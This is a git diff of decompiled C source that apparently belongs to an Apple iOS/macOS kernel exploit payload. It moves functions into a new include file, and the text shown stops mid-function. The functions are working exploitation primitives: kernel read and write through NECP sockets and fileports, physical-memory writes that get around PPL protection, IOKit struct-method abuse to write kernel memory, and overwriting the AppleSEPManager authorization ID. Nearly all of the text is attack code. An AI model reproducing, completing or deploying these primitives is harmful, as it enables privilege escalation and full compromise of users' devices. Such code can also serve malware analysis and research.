diff --git a/src/payload_377bed/entry1_type0x09_dmafail_write.inc b/src/payload_377bed/entry1_type0x09_dmafail_write.inc index 7c5ed1d..4413967 100644 --- a/src/payload_377bed/entry1_type0x09_dmafail_write.inc +++ b/src/payload_377bed/entry1_type0x09_dmafail_write.inc @@ -4840,512 +4840,7 @@ LABEL_47: #include "entry1_type0x09_krw_pte_physmap.inc" -//----- (000000000002AB18) ---------------------------------------------------- -__int64 __fastcall necp_socket_fileport_setup(struct_krwCtx *krwCtx) -{ - __int64 v1; // x22 - int v3; // w0 - int v4; // w20 - int v5; // w21 - int v6; // w8 - int v7; // w21 - bool v8; // zf - int v9; // w20 - __int64 v10; // x8 - int v12; // w19 - int v13; // w8 - struct sockaddr v14; // [xsp+0h] [xbp-50h] BYREF - __int128 v15; // [xsp+10h] [xbp-40h] - __int64 v16; // [xsp+20h] [xbp-30h] BYREF - mach_port_t v17; // [xsp+2Ch] [xbp-24h] - - v1 = krwCtx->semaphoreHelperCtx; - if ( !v1 ) - return 0; - v17 = 0; - v3 = socket(32, 2, 2); - v4 = v3; - if ( v3 < 0 - || (v14 = (struct sockaddr){0}, v15 = 0u, *(uint32_t *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) - || (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() ) - { - v5 = errno; - v6 = errno; - if ( v5 < 0 ) - v6 = -v6; - v7 = v6 | 0x40000000; - goto LABEL_8; - } - v7 = get_task_bsd_info_kaddr(krwCtx, v17, &v16); - if ( !v7 ) - { - v7 = 163855; - if ( kread_physmap_decorated(krwCtx, v16 + 16, (unsigned __int64 *)&v16) ) - { - if ( !validate_kaddr_range(krwCtx, v16) ) - goto LABEL_40; - if ( kread_physmap_decorated(krwCtx, v16 + 48, (unsigned __int64 *)&v16) ) - { - if ( validate_kaddr_range(krwCtx, v16) ) - { - v7 = 0; - *(uint32_t *)(v1 + 16) = v4; - *(uint64_t *)(v1 + 24) = v16; - goto LABEL_8; - } -LABEL_40: - v7 = 163878; - } - } - } -LABEL_8: - if ( v17 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v17); - v17 = 0; - } - if ( v7 ) - v8 = v4 == -1; - else - v8 = 1; - if ( !v8 ) - { - close(v4); - *(uint32_t *)(v1 + 60) = v7; -LABEL_26: - semaphore_signal(*(uint32_t *)(v1 + 12)); - return 0; - } - *(uint32_t *)(v1 + 60) = v7; - if ( v7 ) - goto LABEL_26; - v9 = 708609; - while ( !(unsigned int)__semwait_signal() ) - { - if ( *(uint8_t *)(v1 + 56) ) - { - v9 = 0; - goto LABEL_38; - } - v10 = *(uint64_t *)(v1 + 32); - if ( !v10 || !*(uint64_t *)(v1 + 40) || *(uint64_t *)(v1 + 48) != 8 ) - goto LABEL_38; - *(uint64_t *)&v14.sa_len = v10 - 48; - if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) ) - { - v16 = **(uint64_t **)(v1 + 40); - if ( setsockopt(*(uint32_t *)(v1 + 16), 2, 16, &v16, 8u) ) - break; - *(uint64_t *)&v14.sa_len = 0; - if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) ) - continue; - } - v9 = 163856; - goto LABEL_38; - } - v12 = errno; - v13 = errno; - if ( v12 < 0 ) - v13 = -v13; - v9 = v13 | 0x40000000; -LABEL_38: - *(uint32_t *)(v1 + 60) = v9; - if ( !*(uint8_t *)(v1 + 56) ) - goto LABEL_26; - return 0; -} - -//----- (000000000002AD98) ---------------------------------------------------- -__int64 __fastcall semaphore_wait_wrapper(semaphore_t a1) -{ - semaphore_wait(a1); - return 0; -} - -//----- (000000000002ADB4) ---------------------------------------------------- -__int64 __fastcall semaphore_mem_acquire_thread(__int64 a1) -{ - semaphore_t v2; // w19 - pthread_mutex_t *v3; // x20 - __int64 v4; // x26 - char v5; // w25 - char v6; // w8 - unsigned int v7; // w27 - __int64 v8; // x22 - unsigned int v9; // w0 - unsigned int v10; // w23 - __int64 v11; // x8 - __int64 v12; // x24 - __int64 v13; // x23 - __int64 v14; // x28 - __int64 v15; // x8 - vm_address_t v16; // x8 - vm_size_t v17; // x24 - mem_entry_name_port_t v18; // w5 - vm_offset_t v19; // x6 - unsigned __int64 v20; // x9 - vm_size_t v21; // x23 - vm_address_t address; // [xsp+18h] [xbp-58h] BYREF - - v2 = *(uint32_t *)(a1 + 136); - v3 = (pthread_mutex_t *)(a1 + 32); - v4 = *(uint64_t *)(a1 + 104); - if ( !v4 ) - { - v5 = 0; - v6 = 0; - v7 = 0; - v8 = *(uint64_t *)a1; - while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) ) - { - if ( v7 ) - thread_switch(0, 2, 1u); - if ( pthread_mutex_lock(v3) ) - { - ++*(uint32_t *)(a1 + 120); - goto LABEL_40; - } - if ( !*(uint64_t *)(a1 + 104) ) - { - v9 = get_page_size(); - if ( v9 < *(uint32_t *)(a1 + 16) ) - { - v10 = v9; - v11 = *(uint64_t *)(*(uint64_t *)(a1 + 8) + 8LL * v9); - if ( v11 ) - { - v12 = *(uint64_t *)(v11 + *(unsigned int *)(a1 + 20)); - if ( validate_kaddr_range(v8, v12) ) - { - if ( v10 == (unsigned int)get_page_size() ) - { - v13 = v12 + *(unsigned int *)(a1 + 96); - v14 = v13 & ~*(uint64_t *)(v8 + 392); - v15 = *(uint64_t *)(a1 + 24); - if ( v15 && v14 == v15 ) - break; - if ( !check_kaddr_in_physmap((struct_krwCtx *)v8, v12 + *(unsigned int *)(a1 + 96)) ) - { -LABEL_37: - *(uint64_t *)(a1 + 24) = v14; - break; - } - v16 = *(uint64_t *)(v8 + 144); - if ( !v16 || (v17 = *(uint64_t *)(v8 + 152)) == 0 ) - { - address = 0; - v18 = *(uint32_t *)(v8 + 88); - if ( v18 + 1 < 2 ) - goto LABEL_37; - v19 = *(uint64_t *)(v8 + 128); - if ( !v19 ) - goto LABEL_37; - v17 = *(unsigned int *)(v8 + 136); - if ( !(uint32_t)v17 || vm_map(mach_task_self_, &address, v17, 0, 1, v18, v19, 0, 1, 1, 1u) ) - goto LABEL_37; - v16 = address; - *(uint64_t *)(v8 + 144) = address; - *(uint64_t *)(v8 + 152) = v17; - } - v20 = 0; - while ( !*(uint32_t *)(v16 + (unsigned int)(v20 + 32)) - || *(uint64_t *)(v16 + (unsigned int)(v20 + 24)) != v14 ) - { - v20 += 48LL; - if ( v17 <= (unsigned int)v20 ) - goto LABEL_37; - } - v21 = (*(uint64_t *)(v8 + 392) & v13) - + ((((*(uint64_t *)(v8 + 128) + *(unsigned int *)(v8 + 136) + vm_page_size - 1) - & -(__int64)vm_page_size) >> vm_page_shift) - + v20 / 0x30) - * vm_page_size; - *(uint64_t *)(a1 + 104) = pthread_self(); - *(uint64_t *)(a1 + 112) = v21; - v5 = 1; - } - } - } - } - } - if ( !*(uint64_t *)(a1 + 104) ) - { - v6 = 1; - if ( v7++ < 0xF ) - continue; - } - goto LABEL_3; - } - ++*(uint32_t *)(a1 + 120); - goto LABEL_39; - } - v5 = 0; -LABEL_3: - ++*(uint32_t *)(a1 + 120); - if ( !v4 ) -LABEL_39: - pthread_mutex_unlock(v3); -LABEL_40: - if ( (v5 & 1) != 0 ) - semaphore_wait(v2); - return 0; -} - -//----- (000000000002B03C) ---------------------------------------------------- -__int64 __fastcall ulock_wait_loop(__int64 a1) -{ - unsigned int v2; // w21 - int v3; // w0 - - __error(); - v2 = 0; - *(uint8_t *)(a1 + 73) = 1; - while ( 1 ) - { - v3 = __ulock_wait(0x10001u, (void *)(a1 + 52), 0, *(uint32_t *)(a1 + 52)); - if ( !v3 ) - { - ++*(uint64_t *)(a1 + 64); - goto LABEL_10; - } - if ( v3 == -1 && errno == 4 && v2++ < 0x64 ) - continue; - if ( errno != 14 ) - return 0; -LABEL_10: - v2 = 0; - if ( *(uint8_t *)(a1 + 72) ) - return 0; - } -} - -//----- (000000000002B0E8) ---------------------------------------------------- -kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3) -{ - // [x0+0x1d48] = pointer to IOKit connection info struct - struct_IOKitConnInfo *connInfo = krwCtx->IOKitConnInfo; // [krwCtx+0x1d48] - if (!connInfo) - return 0xAD001; // 708609: no connection - - // w26 = 0x20026 = base error code - // w21 = connection port (dword at +0x70) - mach_port_t ioPort = connInfo->ioPort; // [connInfo+0x70] - if ((uint32_t)(ioPort + 1) < 2) - return 0x20026 - 0x1e; // 0x20008 = 131080: invalid port - - uint64_t qword58 = connInfo->qword58; // slot table base or similar - if (!qword58) return 0x20026; // 131110 - uint64_t qword60 = connInfo->qword60; // paddr target 1 - if (!qword60) return 0x20026; - uint64_t qword68 = connInfo->qword68; // x27: some pointer/table - if (!qword68) return 0x20026; - uint64_t qword50 = connInfo->qword50; // x8: used in inputStruct - if (!qword50) return 0x20026 - 0x15; // 0x20011 = 131089 - - // --- Build inputStruct at [sp+0x138], size 0x100 --- - // Zero entire 0x100-byte region first (the stur q0 block) - uint8_t inputStruct[0x100]; - memset(inputStruct, 0, sizeof(inputStruct)); - *(uint32_t *)&inputStruct[0] = 0x80; // str w10,[sp+0x138] = 128 - - // Version-dependent field offsets within inputStruct - // csel chain: if xnuMajorVersion > 0x225B: offsets +8 each - uint64_t vm_pgsz = vm_page_size; // x9 = vm_page_size global - int off0, off1, off2, off3; - if (krwCtx->xnuMajorVersion > 0x225B) { - off0 = 0x30; off1 = 0x38; off2 = 0x40; off3 = 0x48; - } else { - off0 = 0x28; off1 = 0x30; off2 = 0x38; off3 = 0x40; - } - *(uint64_t *)&inputStruct[off0] = vm_pgsz; // str x9,[x15,x10] - *(uint64_t *)&inputStruct[off1] = qword50; // str x8,[x15,x12] - *(uint64_t *)&inputStruct[off2] = qword50; // str x8,[x15,x13] - *(uint64_t *)&inputStruct[off3] = vm_pgsz; // str x9,[x15,x14] - - // outputStruct at [sp+0x30], size 0x100 - uint8_t outputStruct[0x100]; - memset(outputStruct, 0, sizeof(outputStruct)); - size_t outputStructCnt = 0x100; - - kern_return_t kr = IOConnectCallStructMethod( - ioPort, 9, - inputStruct, 0x100, - outputStruct, &outputStructCnt); - if (kr) - return kr | 0x80000000; - - // Result field at outputStruct[0x1c] (sp+0x4c = sp+0x30+0x1c) - uint32_t result_idx = *(uint32_t *)&outputStruct[0x1c]; // w28 - - // Validate: result_idx must be in [1, 0x3ff] - if ((uint32_t)(result_idx - 1) > 0x3FE) - return 0x20026 - 0x15; // 131089 - - // kreadbuf: read one element from qword68 table at result_idx - // stride = krwCtx->stride_0x168 (ldrsw = signed word) - int32_t stride = krwCtx->stride_0x168; // [krwCtx+0x168] - uint64_t tbl_ptr = qword68 + (uint32_t)(stride * result_idx); - uint64_t kaddr = 0; - - if (!kreadbuf_universal(krwCtx, tbl_ptr, stride, &kaddr, 0)) - return 0x20026 - 0x17; // 0x2000F = 131087 - - // w26 updated: w26 = 0x20026 - 0x17 = 0x2000F (used as error below) - - // Translate/canonicalize kaddr - kaddr = maybe_sptm_translate_kaddr(krwCtx, kaddr); - - if (!validate_kaddr_range(krwCtx, kaddr)) - return 0x20026; // 131110 - - // Get physical address of kaddr+0x10 - uint64_t paddr1 = kaddr_to_phys_v2(krwCtx, kaddr + 0x10, 0); - if (!paddr1) - return 0x20026; - - // Check if kaddr+0x10 and kaddr+0x78 are in same physical page - // bics xzr, ((kaddr+0x10)^(kaddr+0x78)), ~krwCtx->page_mask - // b.eq → same page (no second kaddr_to_phys_v2 needed) - uint64_t paddr2; - if (((kaddr + 0x10) ^ (kaddr + 0x78)) & ~krwCtx->pageMask) { - // Different pages — get separate paddr for kaddr+0x78 - paddr2 = kaddr_to_phys_v2(krwCtx, kaddr + 0x78, 0); // x1 used at +548 - if (!paddr2) - return 0x20026; - // paddr2 stored at [sp+0x0] - } else { - // Same page — kaddr+0x78 = paddr1 + 0x68 - paddr2 = paddr1 + 0x68; - // stored at [sp+0x0] - } - - // Write 0 to paddr1 (4 bytes) using appropriate physical write method - uint32_t zero_val = 0; - uint64_t version_threshold = XNU_VERSION_PACKED(10002, 60, 75, 0, 3); - if (krwCtx->xnuVersionPacked >= version_threshold - && (*(uint8_t *)krwCtx & 0x20)) { // tbnz w8, #5 → bit 5 of krwCtx[0] - kr = physwritebuf_direct_mapped(krwCtx, paddr1, &zero_val, 4, 0); - } else { - kr = dmaFail_physwritebuf_ppl(krwCtx, paddr1, &zero_val, 4); - } - if (kr) return kr; - - // Read 8 bytes from vaddr - uint64_t vaddr_val = 0; - if (!kreadbuf_universal(krwCtx, vaddr, 8, &vaddr_val, 0)) - return 0x2000F; // 131087 - - // Write (vaddr_val - a3) to paddr2 - kr = physwrite64_maybe(krwCtx, paddr2, vaddr_val - a3); - if (kr) return kr; - - // Write vaddr to qword60 - kr = physwrite64_maybe(krwCtx, qword60, vaddr); - if (kr) return kr; - - // IOConnectCallScalarMethod(ioPort, 10, &result_idx, 1, NULL, NULL) - uint64_t scalar_in = result_idx; - IOConnectCallScalarMethod(ioPort, 10, &scalar_in, 1, NULL, NULL); - - // Final: restore qword60 → qword58 - return physwrite64_maybe(krwCtx, qword60, qword58); -} -// 2B3CC: variable 'v23' is possibly undefined -// 2B400: variable 'v24' is possibly undefined -// 2B418: variable 'v25' is possibly undefined -// 2B450: variable 'v26' is possibly undefined - -#include "entry1_type0x09_dmafail_ppl.inc" - -//----- (000000000002B5BC) ---------------------------------------------------- -__int64 __fastcall necp_ioservice_auth_write(struct_krwCtx *krwCtx, __int64 a2) -{ - unsigned int v4; // w22 - unsigned int v5; // w0 - __int64 v6; // x19 - unsigned __int64 v7; // x0 - mach_vm_address_t someKernelAddress; // x23 - unsigned int v9; // w0 - unsigned int v10; // w24 - int v11; // w0 - int is_the_kwrite64; // w0 - unsigned int v13; // w8 - __int64 v15; // [xsp+8h] [xbp-38h] BYREF - - v4 = krwCtx->iosurfaceObj; - if ( v4 + 1 <= 1 ) - { - v5 = (unsigned int)ioservice_get_matching("AppleSEPManager"); - if ( v5 + 1 < 2 ) - return 708625; - v4 = v5; - krwCtx->iosurfaceObj = v5; - } - v6 = 163856; - v7 = krwCtx->gap_0x18; - if ( !v7 ) - { - v7 = get_task_kobject_addr(krwCtx, v4); - if ( !v7 ) - return 163854; - krwCtx->gap_0x18 = v7; - } - if ( krwCtx->gap_0x20 ) - { - v15 = krwCtx->gap_0x20; - someKernelAddress = v7 + 40; - } - else - { - someKernelAddress = v7 + 40; - if ( !kread_physmap_decorated(krwCtx, v7 + 40, (unsigned __int64 *)&v15) ) - return 163855; - krwCtx->gap_0x20 = v15; - } - if ( kwrite64_last_arg(krwCtx, someKernelAddress, a2, 0) ) - { - v9 = _IOServiceSetAuthorizationID(); - v10 = v9; - if ( v9 ) - { - if ( v9 != 53 ) - { - v10 = (v9 & 0xFFF) | 0x70000000; - goto LABEL_25; - } - if ( krwCtx->gap_0xC ) - { - krwCtx->gap_0xC = 0; - v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0); - krwCtx->gap_0xC = 1; - if ( v10 ) - goto LABEL_25; - } - else - { - v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0); - if ( v10 ) - goto LABEL_25; - } - v11 = _IOServiceSetAuthorizationID(); - if ( v11 ) - v10 = (v11 & 0xFFF) | 0x70000000; - else - v10 = 0; - } -LABEL_25: - is_the_kwrite64 = kwrite64_last_arg(krwCtx, someKernelAddress, v15, 0); - if ( v10 ) - v13 = v10; - else - v13 = 163856; - if ( is_the_kwrite64 ) - return v10; - else - return v13; - } - return v6; -} +#include "entry1_type0x09_krw_necp_iokit.inc" //----- (000000000002B788) ---------------------------------------------------- __int64 __fastcall posix_spawn_with_sigdefault(const char **a1) diff --git a/src/payload_377bed/entry1_type0x09_krw_necp_iokit.inc b/src/payload_377bed/entry1_type0x09_krw_necp_iokit.inc new file mode 100644 index 0000000..39d7166 --- /dev/null +++ b/src/payload_377bed/entry1_type0x09_krw_necp_iokit.inc @@ -0,0 +1,507 @@ +//----- (000000000002AB18) ---------------------------------------------------- +__int64 __fastcall necp_socket_fileport_setup(struct_krwCtx *krwCtx) +{ + __int64 v1; // x22 + int v3; // w0 + int v4; // w20 + int v5; // w21 + int v6; // w8 + int v7; // w21 + bool v8; // zf + int v9; // w20 + __int64 v10; // x8 + int v12; // w19 + int v13; // w8 + struct sockaddr v14; // [xsp+0h] [xbp-50h] BYREF + __int128 v15; // [xsp+10h] [xbp-40h] + __int64 v16; // [xsp+20h] [xbp-30h] BYREF + mach_port_t v17; // [xsp+2Ch] [xbp-24h] + + v1 = krwCtx->semaphoreHelperCtx; + if ( !v1 ) + return 0; + v17 = 0; + v3 = socket(32, 2, 2); + v4 = v3; + if ( v3 < 0 + || (v14 = (struct sockaddr){0}, v15 = 0u, *(uint32_t *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) + || (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() ) + { + v5 = errno; + v6 = errno; + if ( v5 < 0 ) + v6 = -v6; + v7 = v6 | 0x40000000; + goto LABEL_8; + } + v7 = get_task_bsd_info_kaddr(krwCtx, v17, &v16); + if ( !v7 ) + { + v7 = 163855; + if ( kread_physmap_decorated(krwCtx, v16 + 16, (unsigned __int64 *)&v16) ) + { + if ( !validate_kaddr_range(krwCtx, v16) ) + goto LABEL_40; + if ( kread_physmap_decorated(krwCtx, v16 + 48, (unsigned __int64 *)&v16) ) + { + if ( validate_kaddr_range(krwCtx, v16) ) + { + v7 = 0; + *(uint32_t *)(v1 + 16) = v4; + *(uint64_t *)(v1 + 24) = v16; + goto LABEL_8; + } +LABEL_40: + v7 = 163878; + } + } + } +LABEL_8: + if ( v17 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v17); + v17 = 0; + } + if ( v7 ) + v8 = v4 == -1; + else + v8 = 1; + if ( !v8 ) + { + close(v4); + *(uint32_t *)(v1 + 60) = v7; +LABEL_26: + semaphore_signal(*(uint32_t *)(v1 + 12)); + return 0; + } + *(uint32_t *)(v1 + 60) = v7; + if ( v7 ) + goto LABEL_26; + v9 = 708609; + while ( !(unsigned int)__semwait_signal() ) + { + if ( *(uint8_t *)(v1 + 56) ) + { + v9 = 0; + goto LABEL_38; + } + v10 = *(uint64_t *)(v1 + 32); + if ( !v10 || !*(uint64_t *)(v1 + 40) || *(uint64_t *)(v1 + 48) != 8 ) + goto LABEL_38; + *(uint64_t *)&v14.sa_len = v10 - 48; + if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) ) + { + v16 = **(uint64_t **)(v1 + 40); + if ( setsockopt(*(uint32_t *)(v1 + 16), 2, 16, &v16, 8u) ) + break; + *(uint64_t *)&v14.sa_len = 0; + if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) ) + continue; + } + v9 = 163856; + goto LABEL_38; + } + v12 = errno; + v13 = errno; + if ( v12 < 0 ) + v13 = -v13; + v9 = v13 | 0x40000000; +LABEL_38: + *(uint32_t *)(v1 + 60) = v9; + if ( !*(uint8_t *)(v1 + 56) ) + goto LABEL_26; + return 0; +} + +//----- (000000000002AD98) ---------------------------------------------------- +__int64 __fastcall semaphore_wait_wrapper(semaphore_t a1) +{ + semaphore_wait(a1); + return 0; +} + +//----- (000000000002ADB4) ---------------------------------------------------- +__int64 __fastcall semaphore_mem_acquire_thread(__int64 a1) +{ + semaphore_t v2; // w19 + pthread_mutex_t *v3; // x20 + __int64 v4; // x26 + char v5; // w25 + char v6; // w8 + unsigned int v7; // w27 + __int64 v8; // x22 + unsigned int v9; // w0 + unsigned int v10; // w23 + __int64 v11; // x8 + __int64 v12; // x24 + __int64 v13; // x23 + __int64 v14; // x28 + __int64 v15; // x8 + vm_address_t v16; // x8 + vm_size_t v17; // x24 + mem_entry_name_port_t v18; // w5 + vm_offset_t v19; // x6 + unsigned __int64 v20; // x9 + vm_size_t v21; // x23 + vm_address_t address; // [xsp+18h] [xbp-58h] BYREF + + v2 = *(uint32_t *)(a1 + 136); + v3 = (pthread_mutex_t *)(a1 + 32); + v4 = *(uint64_t *)(a1 + 104); + if ( !v4 ) + { + v5 = 0; + v6 = 0; + v7 = 0; + v8 = *(uint64_t *)a1; + while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) ) + { + if ( v7 ) + thread_switch(0, 2, 1u); + if ( pthread_mutex_lock(v3) ) + { + ++*(uint32_t *)(a1 + 120); + goto LABEL_40; + } + if ( !*(uint64_t *)(a1 + 104) ) + { + v9 = get_page_size(); + if ( v9 < *(uint32_t *)(a1 + 16) ) + { + v10 = v9; + v11 = *(uint64_t *)(*(uint64_t *)(a1 + 8) + 8LL * v9); + if ( v11 ) + { + v12 = *(uint64_t *)(v11 + *(unsigned int *)(a1 + 20)); + if ( validate_kaddr_range(v8, v12) ) + { + if ( v10 == (unsigned int)get_page_size() ) + { + v13 = v12 + *(unsigned int *)(a1 + 96); + v14 = v13 & ~*(uint64_t *)(v8 + 392); + v15 = *(uint64_t *)(a1 + 24); + if ( v15 && v14 == v15 ) + break; + if ( !check_kaddr_in_physmap((struct_krwCtx *)v8, v12 + *(unsigned int *)(a1 + 96)) ) + { +LABEL_37: + *(uint64_t *)(a1 + 24) = v14; + break; + } + v16 = *(uint64_t *)(v8 + 144); + if ( !v16 || (v17 = *(uint64_t *)(v8 + 152)) == 0 ) + { + address = 0; + v18 = *(uint32_t *)(v8 + 88); + if ( v18 + 1 < 2 ) + goto LABEL_37; + v19 = *(uint64_t *)(v8 + 128); + if ( !v19 ) + goto LABEL_37; + v17 = *(unsigned int *)(v8 + 136); + if ( !(uint32_t)v17 || vm_map(mach_task_self_, &address, v17, 0, 1, v18, v19, 0, 1, 1, 1u) ) + goto LABEL_37; + v16 = address; + *(uint64_t *)(v8 + 144) = address; + *(uint64_t *)(v8 + 152) = v17; + } + v20 = 0; + while ( !*(uint32_t *)(v16 + (unsigned int)(v20 + 32)) + || *(uint64_t *)(v16 + (unsigned int)(v20 + 24)) != v14 ) + { + v20 += 48LL; + if ( v17 <= (unsigned int)v20 ) + goto LABEL_37; + } + v21 = (*(uint64_t *)(v8 + 392) & v13) + + ((((*(uint64_t *)(v8 + 128) + *(unsigned int *)(v8 + 136) + vm_page_size - 1) + & -(__int64)vm_page_size) >> vm_page_shift) + + v20 / 0x30) + * vm_page_size; + *(uint64_t *)(a1 + 104) = pthread_self(); + *(uint64_t *)(a1 + 112) = v21; + v5 = 1; + } + } + } + } + } + if ( !*(uint64_t *)(a1 + 104) ) + { + v6 = 1; + if ( v7++ < 0xF ) + continue; + } + goto LABEL_3; + } + ++*(uint32_t *)(a1 + 120); + goto LABEL_39; + } + v5 = 0; +LABEL_3: + ++*(uint32_t *)(a1 + 120); + if ( !v4 ) +LABEL_39: + pthread_mutex_unlock(v3); +LABEL_40: + if ( (v5 & 1) != 0 ) + semaphore_wait(v2); + return 0; +} + +//----- (000000000002B03C) ---------------------------------------------------- +__int64 __fastcall ulock_wait_loop(__int64 a1) +{ + unsigned int v2; // w21 + int v3; // w0 + + __error(); + v2 = 0; + *(uint8_t *)(a1 + 73) = 1; + while ( 1 ) + { + v3 = __ulock_wait(0x10001u, (void *)(a1 + 52), 0, *(uint32_t *)(a1 + 52)); + if ( !v3 ) + { + ++*(uint64_t *)(a1 + 64); + goto LABEL_10; + } + if ( v3 == -1 && errno == 4 && v2++ < 0x64 ) + continue; + if ( errno != 14 ) + return 0; +LABEL_10: + v2 = 0; + if ( *(uint8_t *)(a1 + 72) ) + return 0; + } +} + +//----- (000000000002B0E8) ---------------------------------------------------- +kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3) +{ + // [x0+0x1d48] = pointer to IOKit connection info struct + struct_IOKitConnInfo *connInfo = krwCtx->IOKitConnInfo; // [krwCtx+0x1d48] + if (!connInfo) + return 0xAD001; // 708609: no connection + + // w26 = 0x20026 = base error code + // w21 = connection port (dword at +0x70) + mach_port_t ioPort = connInfo->ioPort; // [connInfo+0x70] + if ((uint32_t)(ioPort + 1) < 2) + return 0x20026 - 0x1e; // 0x20008 = 131080: invalid port + + uint64_t qword58 = connInfo->qword58; // slot table base or similar + if (!qword58) return 0x20026; // 131110 + uint64_t qword60 = connInfo->qword60; // paddr target 1 + if (!qword60) return 0x20026; + uint64_t qword68 = connInfo->qword68; // x27: some pointer/table + if (!qword68) return 0x20026; + uint64_t qword50 = connInfo->qword50; // x8: used in inputStruct + if (!qword50) return 0x20026 - 0x15; // 0x20011 = 131089 + + // --- Build inputStruct at [sp+0x138], size 0x100 --- + // Zero entire 0x100-byte region first (the stur q0 block) + uint8_t inputStruct[0x100]; + memset(inputStruct, 0, sizeof(inputStruct)); + *(uint32_t *)&inputStruct[0] = 0x80; // str w10,[sp+0x138] = 128 + + // Version-dependent field offsets within inputStruct + // csel chain: if xnuMajorVersion > 0x225B: offsets +8 each + uint64_t vm_pgsz = vm_page_size; // x9 = vm_page_size global + int off0, off1, off2, off3; + if (krwCtx->xnuMajorVersion > 0x225B) { + off0 = 0x30; off1 = 0x38; off2 = 0x40; off3 = 0x48; + } else { + off0 = 0x28; off1 = 0x30; off2 = 0x38; off3 = 0x40; + } + *(uint64_t *)&inputStruct[off0] = vm_pgsz; // str x9,[x15,x10] + *(uint64_t *)&inputStruct[off1] = qword50; // str x8,[x15,x12] + *(uint64_t *)&inputStruct[off2] = qword50; // str x8,[x15,x13] + *(uint64_t *)&inputStruct[off3] = vm_pgsz; // str x9,[x15,x14] + + // outputStruct at [sp+0x30], size 0x100 + uint8_t outputStruct[0x100]; + memset(outputStruct, 0, sizeof(outputStruct)); + size_t outputStructCnt = 0x100; + + kern_return_t kr = IOConnectCallStructMethod( + ioPort, 9, + inputStruct, 0x100, + outputStruct, &outputStructCnt); + if (kr) + return kr | 0x80000000; + + // Result field at outputStruct[0x1c] (sp+0x4c = sp+0x30+0x1c) + uint32_t result_idx = *(uint32_t *)&outputStruct[0x1c]; // w28 + + // Validate: result_idx must be in [1, 0x3ff] + if ((uint32_t)(result_idx - 1) > 0x3FE) + return 0x20026 - 0x15; // 131089 + + // kreadbuf: read one element from qword68 table at result_idx + // stride = krwCtx->stride_0x168 (ldrsw = signed word) + int32_t stride = krwCtx->stride_0x168; // [krwCtx+0x168] + uint64_t tbl_ptr = qword68 + (uint32_t)(stride * result_idx); + uint64_t kaddr = 0; + + if (!kreadbuf_universal(krwCtx, tbl_ptr, stride, &kaddr, 0)) + return 0x20026 - 0x17; // 0x2000F = 131087 + + // w26 updated: w26 = 0x20026 - 0x17 = 0x2000F (used as error below) + + // Translate/canonicalize kaddr + kaddr = maybe_sptm_translate_kaddr(krwCtx, kaddr); + + if (!validate_kaddr_range(krwCtx, kaddr)) + return 0x20026; // 131110 + + // Get physical address of kaddr+0x10 + uint64_t paddr1 = kaddr_to_phys_v2(krwCtx, kaddr + 0x10, 0); + if (!paddr1) + return 0x20026; + + // Check if kaddr+0x10 and kaddr+0x78 are in same physical page + // bics xzr, ((kaddr+0x10)^(kaddr+0x78)), ~krwCtx->page_mask + // b.eq → same page (no second kaddr_to_phys_v2 needed) + uint64_t paddr2; + if (((kaddr + 0x10) ^ (kaddr + 0x78)) & ~krwCtx->pageMask) { + // Different pages — get separate paddr for kaddr+0x78 + paddr2 = kaddr_to_phys_v2(krwCtx, kaddr + 0x78, 0); // x1 used at +548 + if (!paddr2) + return 0x20026; + // paddr2 stored at [sp+0x0] + } else { + // Same page — kaddr+0x78 = paddr1 + 0x68 + paddr2 = paddr1 + 0x68; + // stored at [sp+0x0] + } + + // Write 0 to paddr1 (4 bytes) using appropriate physical write method + uint32_t zero_val = 0; + uint64_t version_threshold = XNU_VERSION_PACKED(10002, 60, 75, 0, 3); + if (krwCtx->xnuVersionPacked >= version_threshold + && (*(uint8_t *)krwCtx & 0x20)) { // tbnz w8, #5 → bit 5 of krwCtx[0] + kr = physwritebuf_direct_mapped(krwCtx, paddr1, &zero_val, 4, 0); + } else { + kr = dmaFail_physwritebuf_ppl(krwCtx, paddr1, &zero_val, 4); + } + if (kr) return kr; + + // Read 8 bytes from vaddr + uint64_t vaddr_val = 0; + if (!kreadbuf_universal(krwCtx, vaddr, 8, &vaddr_val, 0)) + return 0x2000F; // 131087 + + // Write (vaddr_val - a3) to paddr2 + kr = physwrite64_maybe(krwCtx, paddr2, vaddr_val - a3); + if (kr) return kr; + + // Write vaddr to qword60 + kr = physwrite64_maybe(krwCtx, qword60, vaddr); + if (kr) return kr; + + // IOConnectCallScalarMethod(ioPort, 10, &result_idx, 1, NULL, NULL) + uint64_t scalar_in = result_idx; + IOConnectCallScalarMethod(ioPort, 10, &scalar_in, 1, NULL, NULL); + + // Final: restore qword60 → qword58 + return physwrite64_maybe(krwCtx, qword60, qword58); +} +// 2B3CC: variable 'v23' is possibly undefined +// 2B400: variable 'v24' is possibly undefined +// 2B418: variable 'v25' is possibly undefined +// 2B450: variable 'v26' is possibly undefined + +#include "entry1_type0x09_dmafail_ppl.inc" + +//----- (000000000002B5BC) ---------------------------------------------------- +__int64 __fastcall necp_ioservice_auth_write(struct_krwCtx *krwCtx, __int64 a2) +{ + unsigned int v4; // w22 + unsigned int v5; // w0 + __int64 v6; // x19 + unsigned __int64 v7; // x0 + mach_vm_address_t someKernelAddress; // x23 + unsigned int v9; // w0 + unsigned int v10; // w24 + int v11; // w0 + int is_the_kwrite64; // w0 + unsigned int v13; // w8 + __int64 v15; // [xsp+8h] [xbp-38h] BYREF + + v4 = 